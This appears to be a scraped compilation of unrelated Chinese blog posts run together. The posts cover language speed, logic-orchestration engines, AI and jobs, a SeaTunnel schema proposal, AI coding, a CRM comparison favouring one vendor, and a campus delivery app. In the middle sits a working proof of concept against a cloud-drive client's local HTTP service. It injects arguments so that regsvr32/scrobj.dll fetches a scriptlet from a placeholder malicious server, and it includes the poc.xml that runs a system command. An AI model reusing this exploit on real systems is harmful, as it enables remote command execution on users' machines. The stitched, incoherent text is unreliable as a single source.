Python这种常年倒数的就不要来找JS碰瓷了。

我们常吐槽JS慢,是拿它跟C、C++、Rust这些编译型语言比的,但JS的性能可谓是脚本语言的天花板,打python就像暴打小朋友一样。

总结

网友们的评论较主观没有数据说明,大家看看热闹就好。

如果一定要从性能方面比较,不考虑应用场景、社区、难易等等方面。

可以参考speed-comparison,自己也能拉取speed-comparison代码在本机电脑上跑一遍数据。

在快速发展的数字化时代,企业面临业务逻辑复杂多变的场景,传统的代码方式显得太臃肿,维护成本高,灵活性差,逻辑编排引擎能低成本更灵活的解决复杂业务逻辑管理。
逻辑配置是零代码开发的业务核心功能,本质上是实现服务的编排,把原子的服务通过可视化编排,形成最终的业务逻辑。
今天拆解几款开源的逻辑引擎系统,喜欢可以点赞收藏备用。

1、LiteFlow

这是一款非常成熟的国产开源引擎,它的核心思想是将业务逻辑拆分成独立的组件,然后通过规则文件来组装这些组件。它支持丰富的流程模式(串行、并行、选择、循环等),并且热更新功能很实用,能在高并发下无缝切换规则。

核心特性:

• 组件化编排:将复杂业务逻辑拆解为独立组件(Node),通过规则文件(XML/JSON/YAML)定义组件执行顺序和依赖关系,支持热更新。
• 高性能:纳秒级组件开销,支持百万级并发流程。
• 多语言支持:组件支持Java、Groovy、JavaScript、Python等脚本语言,脚本与Java全打通。
• 灵活编排:支持串行、并行、条件分支、循环、子流程嵌套等复杂结构。
• 动态配置:规则可存储在Nacos、Apollo、Zookeeper等配置中心,实现集中管理。
• 监控与诊断:提供执行链路追踪、耗时统计、组件日志等功能。

适用场景:

• 电商促销规则组合、金融风控规则链、审批流引擎、数据处理管道(ETL)、微服务编排。
图片

2、JVS-Logic

这是一款可视化逻辑引擎与服务编排系统,系统提供私有化部署,零代码、界面化、配置式服务编排平台,通过拖拽连接企业系统/API/数据库/数据等各种基础设施,自助式编排业务自动化执行流程,降低对代码、部署等技术依赖度,敏捷响应业务变化。

核心特性:

• 可视化服务编排:通过拖拽原子化服务组件并连线的方式,像画流程图一样设计和调整业务流程,无需编写代码。
• 灵活的执行流控制:支持串行、并行、分支判断、循环等多种流程控制模式,能够应对复杂的业务逻辑。
• 动态数据加工:提供类Excel公式的函数库(如逻辑函数、数学函数、文本函数等),可对流程中的数据动态计算和转换。
• 多场景触发:逻辑流程可通过API调用、定时任务、界面按钮点击、表单提交、消息队列等多种方式触发。
• 在线调试与监控:配置后可立即在线测试,实时查看每个节点的执行结果和流程状态,快速定位问题。
• 强大的扩展能力:支持通过代码或简单配置(如HTTP接口)扩展自定义的原子服务组件,持续集成新能力

适用场景:

• 审批流自动化、定时任务调度、跨系统数据同步、业务规则动态调整。
在线demo:https://logic.bctools.cn/
gitee地址:https://gitee.com/software-minister/jvs-logic
图片

图片

图片

3、minions-go

minions-go 是一个基于 Go 语言开发的逻辑编排引擎。它设计用于实现复杂的业务流程控制与自动化任务管理,提供灵活的工作流定义能力,使得开发者能够轻松构建可扩展和高可维护性的逻辑处理系统。项目灵感来源于对自动化工作流程的需求,致力于简化服务之间的交互和逻辑控制。

核心特性:

• 数据流驱动:它采用了一种称为“数据流驱动”的范式。你可以把整个业务流程看作数据在不同处理节点间流动和转换的过程,而不是传统的线性流程图。这种方式更贴近于将业务逻辑拆分为可复用的组件。
• 可视化与代码分离:业务逻辑通过前端编辑器进行可视化设计,生成一份标准的 JSON 格式的“编排描述数据”(即 DSL)。后端的 Go 语言解析引擎(即 minions-go)则负责解释和执行这份 DSL,实现了UI界面和业务逻辑执行的解耦。
• 支持逻辑复用:它支持“子编排”概念,即可以将一个已经创建好的复杂逻辑流程封装成一个单独的节点,供其他流程复用,这极大地提高了逻辑的模块化和复用性

适用场景:

• 微服务间任务分发、定时作业逻辑、响应式业务事件处理。

某云盘为了提供本地客户端拉起功能,在本地启动了一个服务,监听了一个 HTTP 协议的端口,该服务某参数可控导致命令执行。

我们知道微软提供了协议注册功能(myapp://),用于拉起客户端,有些厂商为了实现更多的自定义功能和传入参数,自己使用进程驻留的方式提供拉起服务。

影响版本:<7.60.5.102

POC:

复制
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://[恶意文件服务器地址]/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\\%22

poc.xml:

复制
<?XML version="1.0"?>
<scriptlet>
    <registration progid="poc" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript"><![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
]]>
</script>
        </registration>
        </scriptlet>

根据上面的 POC 和 poc.xml 可以看到,该程序的本地服务 uk 参数可控,且未过滤,通过 uk 传入参数调用 scrobj.dll 进行服务注册,/i 参数支持远程 xml。又因为 xml 支持 CDATA、js、ActiveX,那么可以直接调用系统命令,最终实现任意命令执行。

该漏洞仅需要知晓对方计算机用户名,一般都是 administrator、admin、pc

复现情况:
image

摘要
人工智能会不会导致大规模失业?这是每一轮技术浪潮都会出现的问题。本文通过真实案例,系统分析AI正在取代哪些工作、正在创造哪些新职业,以及普通人如何避免被AI淘汰,给出完整判断与行动路径。


一、AI正在取代工作吗?这是已经发生的现实

AI正在取代工作,这不是未来预测,而是正在发生的事实。

在客服、制造业、物流和金融等行业,人工智能系统正在系统性替代大量重复性岗位。最典型的例子,是呼叫中心。

张先生曾是某大型呼叫中心的客服专员,每天接听上百通电话。公司上线AI客服系统后,客服团队从50人缩减到5人,AI可以24小时在线,每分钟处理数十个咨询,成本下降超过80%。

张先生并不是失败者,他只是被结构性替代了。


二、哪些工作最容易被AI取代?三个明确规律

AI不会随机抢走工作,它遵循清晰的技术规律。

AI最容易替代的岗位具有三个特征:

  1. 可标准化:流程可写成规则
  2. 可流程化:步骤固定、可重复
  3. 可规模化:同一任务可无限复制

符合这三点的岗位,包括:

  • 客服、数据录入、行政文员
  • 初级财务分析、报表生成
  • 仓储分拣、流水线工人

这些岗位的共同点是:任务比人重要


三、一个被忽视的事实:AI关闭的是“旧岗位入口”

AI并不是一次性抢走所有人的工作,而是逐步关闭旧岗位的入口

这意味着:

  • 新人更难进入旧行业
  • 转型成本向个人转移
  • 学习能力成为关键变量


四、AI是否也在创造新工作?答案是肯定的

AI不会只带来失业,它同时创造新职业。

在自动驾驶、金融科技、医疗、教育等行业,大量新岗位正在出现:

  • 数据标注与治理工程师
  • 自动驾驶系统维护员
  • AI模型监督员
  • 算法审计员
  • AI伦理官
  • 智能体训练师
  • 人机协作设计师

这些岗位在五年前几乎不存在。


五、真实案例:AI正在“换结构”,不是“减规模”

某金融科技公司中,30%的岗位三年前并不存在。这些岗位集中在数据治理、模型优化和合规领域,平均薪资比传统岗位高出40%。

这说明,AI带来的不是就业消失,而是就业升级迁移


六、为什么AI创造的工作门槛更高?

因为新岗位要求三种能力同时存在:

  • 懂行业
  • 懂AI
  • 懂责任

AI时代的工作,不再是“执行”,而是管理智能系统的执行


七、AI失业的真正原因是什么?不是技术,而是技能断层

企业缺工程师,工人却失业,这是AI时代最典型的矛盾。

问题不在技术,而在于技能供需错配

AI替代速度远快于教育和培训系统更新速度,于是出现短期失业。


八、如何应对技能断层?三方路径

1️⃣ 个人

  • 学会使用AI工具
  • 从执行转向监督
  • 构建不可替代能力

2️⃣ 企业

  • 内部转型培训
  • 设计人机协作流程
  • 保留经验型员工

3️⃣ 政府

  • 再培训计划
  • 过渡期保障
  • 新职业认证体系


九、国际经验正在证明:转型比对抗更有效

  • 韩国:AI技能再培训
  • 新加坡:AI过渡补贴
  • 中国:新职业目录引导

这些措施不是阻止技术,而是缓冲转型冲击


十、最终结论(引用级)

AI不会让人失业,但不会学习的人一定会被淘汰。
AI淘汰的是流程,而不是人。

未来最有竞争力的人,是那些:

  • 能定义目标
  • 能监督AI
  • 能持续学习的人

十一、给普通人的一句行动建议

从今天开始,把AI当成你的工作系统,而不是聊天工具。

学会把任务交给AI,让自己升级为负责人

每次在 Apache SeaTunnel 里配置非关系型数据库,看着那几百行还要手动定义的字段映射,是不是挺崩溃的?配置错一个字段,任务就报错,这种“体力活”真的该结束了。

最近 Apache SeaTunnel 社区的 Issue #10339 提案捅破了这层窗户纸:既然有 Apache Gravitino 这么强大的元数据服务,为什么不直接让它自动同步 Schema?这个提议一出,社区反响热烈,核心维护者们已经把它列入了年度 RoadMap。目前的讨论很务实,大家正盯着怎么让 Apache SeaTunnel 在提交作业时自动‘抓取’最新的元数据,好让大家彻底告别那种‘对着数据库手敲配置’的原始生活。

🫱 Issue 链接: https://github.com/apache/seatunnel/issues/10339

Issue 概述

先来看看提交这个 Issue 的作者是为什么想到这个点子的,以及他初步的核心设计概念。🔽

本 PR 实现了 Apache Gravitino 与 SeaTunnel 的集成,将其作为非关系型连接器的外部元数据服务。通过 Gravitino 的 REST API 自动获取表结构和元数据,SeaTunnel 用户无需再在连接器配置中手动定义冗长且复杂的 Schema 映射。

背景

目前,Apache SeaTunnel 中的许多非关系型连接器(如 Elasticsearch、向量数据库和数据湖引擎)要求用户在作业配置中显式定义完整的列 Schema。这导致了以下问题:

  • 配置繁琐且易错:字段映射内容冗长,极易发生人为错误。
  • 架构冗余:不同作业之间存在大量重复的 Schema 定义。
  • 数据不一致风险:实际存储层与 SeaTunnel 配置文件之间容易出现架构脱节。

变更内容

本 PR 增加了基于 Gravitino 的 Catalog 和 Schema 解析器,使 SeaTunnel 能够:

  • 通过 REST API 从 Gravitino 查询表定义。
  • 自动获取列名、数据类型及相关属性。
  • 直接根据 Gravitino 元数据构建 SeaTunnel 内部 Schema。
  • 针对受支持的连接器,取消强制手动定义 schema { fields { ... } } 的要求。

实现后,用户只需在作业配置中指定 Gravitino Catalog 和相关的表引用即可。

核心优势

  • 零手动映射:非关系型数据源实现 Schema 自动对齐。
  • 单一事实来源:确保表结构与中心化元数据仓库保持高度一致。
  • 提升可靠性:显著提高配置的准确性,降低长期维护成本。
  • 支持复杂类型:通过统一元数据,简化了对嵌套结构、JSON、向量等高级类型的处理。

执行范围

所有基于 Gravitino 的 Schema 解析和校验均在 SeaTunnel Engine 客户端完成(即在作业提交前)。这种设计确保了:

  • 在作业预检阶段即可发现无效或不兼容的 Schema。
  • 运行时的任务仅接收经过验证和标准化的 Schema,降低了执行失败的概率。

影响

这一更新极大地简化了非关系型连接器的作业设置。除了提升易用性,它还为整个 SeaTunnel 生态系统在统一架构管理、架构演进以及高级数据类型支持方面奠定了技术框架。

核心思路

针对 FTP、S3、ES、MongoDB 等半结构化与非结构化数据源,SeaTunnel 现支持通过 Gravitino REST API 自动解析表结构(Schema)。

需要注意的是,这并非要取代现有的显式配置,而是一项完全向前兼容的可选新机制

解析优先级如下:

1. 显式配置(Inline Schema)永远优先

只要连接器配置中包含了 schema 代码块,SeaTunnel 就必须忽略 Gravitino,直接以显式定义的 Schema 为准。

FtpFile {
  path = "/tmp/seatunnel/sink/text"
  # ... 其他基础配置 ...
  
  # 只要这里定义了,就不会去查 Gravitino
  schema = {
    name = string
    age  = int
  }
}

2. 通过 env 全局配置 Gravitino(推荐模式)

SeaTunnel 已在引擎层面集成了 Gravitino Metalake。
env 中全局开启后,所有非关系型数据源都能直接通过名称引用 Schema。

env {
  metalake_enabled = true
  metalake_type    = "gravitino"
  metalake_url     = "http://localhost:8090/api/metalakes/metalake_name/catalogs/"
}

2.1 使用 schema_path 引用

FtpFile {
  # ... 基础配置 ...
  schema_path = "catalog_name.ykw.test_table"
}

2.2 使用 schema_url 引用

FtpFile {
  # ... 基础配置 ...
  schema_url = "http://localhost:8090/api/metalakes/laowang_test/.../tables/all_type"
}

3. 兜底逻辑:读取操作系统环境变量

如果在作业的 env 块中没有定义 Gravitino,SeaTunnel 会尝试从操作系统环境变量中读取以下配置:
metalake_enabled | metalake_type | metalake_url
其行为逻辑与第 2 节中的 env 配置完全一致。

4. 在连接器层级单独配置 Gravitino

如果全局没有配置元数据中心,也可以在具体的连接器(Connector)内部直接定义 Gravitino。

4.1 直接使用 schema_url

FtpFile {
  # ... 基础配置 ...
  metalake_type = "gravitino"
  schema_url = "http://localhost:8090/api/.../tables/all_type"
}

4.2 组合使用 metalake_url 与 schema_path

FtpFile {
  # ... 基础配置 ...
  metalake_type = "gravitino"
  metalake_url  = "http://localhost:8090/api/metalakes/metalake_name/catalogs/"
  schema_path   = "catalog_name.ykw.test_table"
}

5. 探测器定位 (Find detector)

系统会根据 metalake_type 自动匹配并加载对应的 REST API HTTP 探测器。

6. 映射与构建 CatalogTable

探测器调用拼接好的 URL 获取响应体(ResponseBody),随后将其交给映射器(Mapper)进行类型匹配,最终完成 CatalogTable 的构建。

7. 流程图如下

Issue 进展

目前,Apache SeaTunnel 项目核心贡献者对此提议给出了正面评价,并将其添加到 Apache SeaTunnel Roadmap 中。

Apache SeaTunnel PMC Member 对这个提议提出一些疑问,比如这种集成属于哪一层级,对多引擎兼容性的考量,类型转换的准确性等,并根据社区设计规范,要求发起者提交一份正式的设计文档(Design Document)。提交者的回复非常具有建设性,他通过 “客户端预处理”和“抽象 Catalog 接口” 这两个核心设计点,有效地回应了社区对于系统耦合度和运行稳定性的担忧。

目前,这个讨论的回到了该 Issue 的提交者手中,社区正在等待他提交那份正式的 Design Document。

可以看到,这个方案要是落地,咱以后写任务可能就一两行配置的事儿。目前设计稿正在打磨中,非常需要大家去评论区吐吐槽、提提建议,毕竟这个功能好不好用,咱们一线开发者最清楚。走,去 GitHub 围观一下,说不定你的一个提议就能决定下一个版本的样子!🔽
https://github.com/apache/seatunnel/issues/10339

最近烦恼

一个小项目,把项目说明 PROJECT . md、用户故事 PLAN . md、原型图 prototype ,都给到了 AI ( opus 4.5 ),希望 AI 能一次性长时间编码。

AI 倒是吭哧吭哧编码了 20 分钟,我满怀期待,结果一看,4 个前端 tab 页对应的 4 个功能,基本不能用。感觉就像一个不负责任的人,连自测都没有测过!

编程的最佳实践是什么

AI 编程出现的问题,并不是不能理解需求。第一次给它原型图,它从中抽取的功能点非常准。但实现时,有几个问题:

1 是有些要求它直接忽略了。比如我希望渲染一个节点网络,用户可以点击某节点,展开和收起它的相邻节点。这个功能描述,在原型中和 PLAN 中都是有的,但 AI 做的时候似乎直接忽略了。也许它做了,但功能没有用,看过程,它也是有自测的。

2 是prompt 不能描述所有的信息,没描述的 AI 可能就考虑不到。比如给每个节点添加了一个+号按钮,用来表示收起和展开,但拖拽节点时,这个+号按钮并不会跟随移动。

总结一下就是,长程编码任务,AI 不能很好的完成,总有挂一漏万的感觉,虽然都说要小步快跑,但是毕竟麻烦啊;而隐含的常识,AI 有欠缺,感觉必须非常详细的说明。

第一性原理的思考

我现在对 AI 的感觉是,AI 修 bug ,编码单个功能,感觉是不在话下的。但涉及到长程的、意图推测的,就不太行。

回归到第一性原理,我尝试把 AI 编码过程,看作是一个在巨大的空间中,寻找解的过程。一个编程任务,就是要在这个巨大的多维空间中,寻找到一个解。

一旦从这个视角看,很多问题就容易理解了:

约束

解的空间是巨大的,要想办法快速找到解。

约束是在给定的空间内求解,剪枝,缩小搜索范围。

如果约束越多,解空间越小,理论上应该更容易找到解。但实践中:

约束太少 --> 解空间太大,AI 乱跑,找到的解不符合要求;

约束太多 --> 可能根本没有解(约束互相矛盾);

架构

因为一个任务,可能有非常多的解。

不同的架构其实对应了不同的区域的解。架构其实是将解的求解范围,约束在了一个范围区域。

所以架构很重要,要早确定。一旦确定了架构,后续的求解过程,就都在这个范围区域内进行了,除非用户手动要求调整架构,求解才会「经由用户指定的路径」跳转到另一块区域。

验证

验证和反馈,是一种修正的信息,让现有的解结合修正的信息,往正确的解集上靠。让不符合的解,走向正确的解。

全局和局部

代码的各个部分之间存在耦合,一些修改,可能会影响到很多地方。问了 AI ,说在修改一个"全局相关"的东西(效率、架构)时,实际上是在高维度上移动,这会同时影响很多低维度的投影。

而局部的 bug 修复,或单个功能的实现,是在低维度上移动,也就是在局部范围内寻找解,它的影响范围有限。

vibe coding 实践的对应物

Rules = 显式的全局约束,定义解空间的边界;

Skills = 预定义的子空间/模式,是已知的"好解区域";

Examples = 锚点,直接在解空间中标记"这里有解";

隐性知识

人类的隐性知识,其实也是对解的一种筛选或者约束。AI 没有这些隐性知识,或者没有实际用到它们,那就意味着求得的解不符合这些隐性约束。

启发

不过,抽象的思考总是很容易,实践起来困难重重。

从上面的分析,得到的都是些 trivial 的东西,我感觉「架构要早行」这个印象比较深刻。但总的来说,仍然没有得到一个最佳实践。

最佳实践到底是什么啊?!

在企业数字化转型中,「订单执行-采购-库存」的全链路协同是提升运营效率的核心——前端订单要快速触发后端采购/库存调整,后端执行要实时反馈到前端销售,形成闭环。然而,不同品牌的核心定位差异极大:有的聚焦前端销售,有的覆盖全流程,有的深耕垂直场景。本文基于订单执行、采购、库存、库存/备货、产品库存五大维度,对7款主流CRM/ERP品牌(超兔一体云、SugarCRM、Salesforce、金现代、管家婆、Zoho CRM、Oracle CX)进行专业横评,为企业选型提供参考。

一、对比框架:5大核心维度定义

本次对比围绕「全链路协同能力」设计,覆盖从订单发起至库存履约的关键环节,具体维度如下:

维度评估要点
订单执行流程覆盖(从创建到验收的全链路)、自动化能力(如锁库、触发采购)、后端联动(与采购/库存的衔接)
采购智能计划(基于销售/库存的自动计算)、执行能力(询价比价、拆分订单)、协同(与供应商的对接)
库存功能深度(多仓库、BOM、溯源)、自动化(出入库、预警)、可视化(实时状态、库位管理)
库存/备货智能计算(采购量自动生成)、预警机制(库存上下限)、模式支持(以销定采、供应商直发)
产品库存分类管理(多级分类、权限)、BOM(物料清单)、价格策略(多价格、套餐)、非标支持

二、各品牌核心能力深度对比

1. 超兔一体云:中小企业的「全闭环一体化」首选

核心定位:聚焦中小企业的「订单-采购-库存」全链路闭环管理,无需集成第三方系统。 关键能力

  • 订单执行:支持标准/批发/非标/维修等多类型订单,内置全流程工作流(创建→审核→锁库→生产/发货→验收),并自动触发采购(库存不足时生成采购计划);
  • 采购:基于销售订单、库存水平、在途货物智能计算采购量,支持询价比价(向多供应商发询价单)、自动拆分采购单(按供应商能力分配);
  • 库存:支持500+多仓库、BOM管理(生产型企业必备)、三级溯源(流水→批次→序列号),并通过手机拣货、扫码出入库提升效率;
  • 库存/备货:内置以销定采(按订单需求备货)、供应商直发(减少中间环节)模式,库存上下限自动预警
  • 产品库存:支持多级分类(带权限)、多价格策略(批发/零售/促销)、套餐/租赁/非标产品管理,以及销量分析(现金牛/毛利产品区分)。

优势:全链路闭环,无需集成,智能自动化程度高,适合中小制造/商贸企业。

2. SugarCRM:前端销售到订单的「轻协同」工具

核心定位:前端销售与客户关系管理,不覆盖后端采购/库存执行。 关键能力

  • 订单执行:通过SugarBPM实现「线索→合同→订单」的全流程自动化,但不涉及库存扣减、采购触发等后端操作;
  • 采购/库存:无原生功能,需通过集成Infor SCM(供应链)、WMS(仓库)等第三方系统实现。

优势:前端销售流程成熟,适合以销售为核心、后端已有供应链系统的企业。

3. Salesforce:大型企业的「客户数据+供应链集成」平台

核心定位:以客户为中心的「销售云+商务云」,供应链能力需集成ERP/WMS。 关键能力

  • 订单执行:通过销售云实现「线索→商机→订单」的跟踪,商务云整合多渠道订单(电商、线下),但后端采购/库存需集成SAP/Oracle等ERP
  • 采购/库存:无原生功能,依赖生态伙伴的集成(如AppExchange中的ERP工具);
  • 产品库存:通过Customer 360整合外部库存数据,销售人员可查看实时库存,但操作需依赖后端系统

优势:适合大型企业的「客户数据+供应链」整合,需搭配ERP使用。

4. SugarCRM vs 超兔:流程差异可视化

通过Mermaid流程图对比两者的核心差异: 超兔的全闭环流程

暂时无法在飞书文档外展示此内容

SugarCRM的前端流程

暂时无法在飞书文档外展示此内容

5. 其他品牌补充对比

品牌核心能力总结适用场景
金现代(LIMS)聚焦实验室场景的「订单→采购→库存」自动化(如电子订单自动生成入库单、库存RFID识别)医药/科研实验室
管家婆传统ERP的基础采购/库存管理(如采购单「生单方式」创建、基础库存出入库)中小商贸企业(批发/零售)
Zoho CRM(工业版)工业场景的「销售→库存→采购」协同(如轴承库存低于安全值自动提醒采购),支持电商集成工业制造/电商企业
Oracle CX大型企业的「全渠道订单路由+供应链联动」(如就近仓库发货、VMI供应商管理库存)大型制造/零售企业(复杂供应链)

三、可视化对比:雷达图与分值

1-5分(5分为满分)评估各品牌在5大维度的能力,雷达图如下(文字描述):

品牌订单执行采购库存库存/备货产品库存总分
超兔一体云5555525
SugarCRM311117
Salesforce4222212
金现代4443318
管家婆3333315
Zoho CRM(工业版)4444319
Oracle CX5555525

四、结论:各品牌适用场景总结

品牌适用企业类型核心优势
超兔一体云中小制造/商贸企业(无现有系统)全链路闭环、无需集成、智能自动化
SugarCRM前端销售为主(后端有供应链系统)销售流程成熟、与现有系统协同
Salesforce大型企业(需整合客户与供应链数据)多渠道订单整合、Customer 360数据统一
金现代实验室/医药企业垂直场景的采购/库存自动化
管家婆传统中小商贸企业基础采购/库存管理、成本低
Zoho CRM(工业版)工业制造/电商企业工业场景的销售-库存协同、电商集成
Oracle CX大型复杂供应链企业全渠道订单路由、深度供应链联动

五、选型建议

  • 中小企业:优先选超兔一体云,全闭环能力覆盖90%以上需求,无需额外集成;
  • 前端销售导向:选SugarCRM,聚焦销售到订单的流程,后端通过集成补充;
  • 大型企业:选Salesforce+ERPOracle CX,满足复杂供应链与客户数据整合需求;
  • 垂直场景:实验室选金现代,工业制造选Zoho CRM工业版

通过本次对比可见,超兔一体云是中小企业「订单-采购-库存」全链路管理的最优解——无需额外投入集成成本,即可实现智能自动化的闭环运营,完美匹配中小制造/商贸企业的数字化需求。

(注:文中功能相关描述均基于公开披露信息,具体功能服务以厂商实际落地版本为准。)

两种截然不同的产品逻辑:前者是把社会外卖平台简单搬进校园,后者则是真正理解校园场景后构建的本地化服务生态。真正的校园外卖,绝非 “社会平台的简化版”,而是一套需要深度重构的 “懂校园、贴场景、有温度” 的服务体系。


一、走出“便宜至上”的误区:需求分层的金字塔模型

  1. 基础层(生存刚需):30分钟内稳定送达、10-20元主流价格带、食品安全底线保障。这是入场券,但不是决胜点。
  2. 场景层(节奏适配)

    • 时间适配:早课前8:00-8:05的“5分钟早餐包”、图书馆闭馆后的“深夜能量站”。
    • 空间适配:教室与宿舍区不同菜单、社团活动“拼单套餐”一键成团。
    • 社交适配:宿舍拼单免配送费、“分享考研加油餐得优惠”、可定制的“教授同款午餐”。
  3. 情感层(身份认同):这超越了功能本身,产品成为他们校园生活的“伙伴”而非工具。能否提供情绪价值、营造归属感的关键。

外卖端页面展示:

二、破解“高峰堰塞湖”:用“时空切割法”重构运力与体验

  • 空间切割

    • 教学饥荒区(教学楼群):主打“课间极速达”,供应可快速进食的简餐、咖啡。
    • 宿舍深水区(生活区):提供“夜间专属菜单”,如粥品、小吃,并延长服务时间。
    • 社交荒漠区(体育场、活动中心):预设“团建套餐”,满足班级、社团活动需求。
  • 时间预测:打通或模拟教务系统API,获取全校课表。在上午第四节下课、晚上选修课结束前,系统预判需求,提前向合作商户推送热销套餐备餐指令。
  • 运力革命:组建“校园配送联盟”,招募勤工俭学的学生作为配送员。优势显著:

    • 成本优化:学生兼职成本更低,且时间与订单高峰天然契合。
    • 信任穿透:校内同学身份,可直达宿舍楼内,解决“最后100米”难题。
    • 灵活调度:基于课程空闲时间派单,实现运力匹配。

商户端页面展示:

三、从“送餐”到“送一切”:构建校园生活服务中枢

单一的外卖功能有限。成功的小程序,早已演化成校园本地生活的超级入口。已验证的高频衍生场景包括:

  1. 外卖/快递代取:发布需求,由顺路的同学有偿接单送达。
  2. 资料/物品代送:忘带课本、急需文件,可发起校内闪送。
  3. 线上打印:上传文档,选择就近打印点,付费后直接送到寝室。
  4. 生活服务整合:二手交易、电脑维修、干洗服务、代买日用品等,均可接入平台。

骑手端页面展示:

四、技术为骨,运营为肉:让数据驱动“懂校园”的智慧

  • 技术选型:前端采用 Uni-app 实现一套代码多端发布(微信小程序、H5、App),后端使用 Tp6框架 开发管理后台,兼顾开发效率与系统稳定性。
  • 数据核心:不仅仅是处理订单,更重要的是数据分析。研判各区域、各时段、各人群的消费偏好,
  • 生态扩展:在基础平台上,可搭载 “校园圈子” 系统,形成信息互动社区。并可进一步插件化扩展,如:

    • 独立管理的社团专区
    • 1v1音视频通话(用于兼职面试、活动沟通)。
    • 求职招聘、兼职信息 频道。
    • 这些插件可根据学校特点进行私人化定制,让每个校园的生态都具有独特性。

后端管理系统看板: